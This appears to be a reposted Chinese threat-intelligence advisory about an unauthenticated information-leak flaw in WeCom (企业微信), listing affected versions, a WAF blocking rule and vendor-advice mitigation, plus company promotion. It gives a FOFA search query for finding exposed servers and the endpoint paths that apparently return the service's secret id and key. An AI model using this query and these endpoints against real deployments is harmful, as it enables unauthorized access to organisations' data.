1 漏洞概述
漏洞编号:无
企业微信0day漏洞可以在/cgi-bin/gateway/agentinfo接口未授权情况下可直接获取企业微信secret等敏感信息,可导致企业微信全量数据被获取。
2 影响版本
受影响版本:2.5.x、2.6.930000以下
不受影响版本:2.7.x、2.8.x、2.9.x
3 漏洞触发方式
FOFA语法:app="Tencent-企业微信"
目标url/cgi-bin/gateway/agentinfo
目标url/cgi-bin/get_api_domain_ip?access_token=ACCESS_TOKEN
接口未授权情况下可直接获取企业微信secret id与key
接口未授权情况下可直接获取企业微信secret id与key
根据官方文档即可调用
https://developer.work.weixin.qq.com/document/path/91039
4 修复建议
- 在waf等阻断设备上添加一个规则,匹配到/cgi-bin/gateway/agentinfo路径的进行阻断;
- 等官方升级,目前尚属于0day
5 危害
HW段子 ♥ 娱乐一下
欢迎关注SecHub网络安全社区,SecHub网络安全社区目前邀请式注册,邀请码获取见公众号后台【邀请码】
#
企业简介
赛克艾威 - 专注政企安全服务
北京赛克艾威科技有限公司(简称:赛克艾威),成立于2016年9月,提供全面的安全解决方案和专业的技术服务,帮助客户保护数字资产和网络环境的安全。
安全评估|渗透测试|漏洞扫描|安全巡检
代码审计|钓鱼演练|应急响应|安全运维
重大时刻安保|企业安全培训
联系方式
电话|010-86460828
官网|http://www.secevery.com
关注我们
公众号:SecHub网络安全社区
哔哩哔哩:SecHub官方账号
原文始发于微信公众号(SecHub网络安全社区):【2023HW威胁情报】企业微信爆出0day!文末有HW段子
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论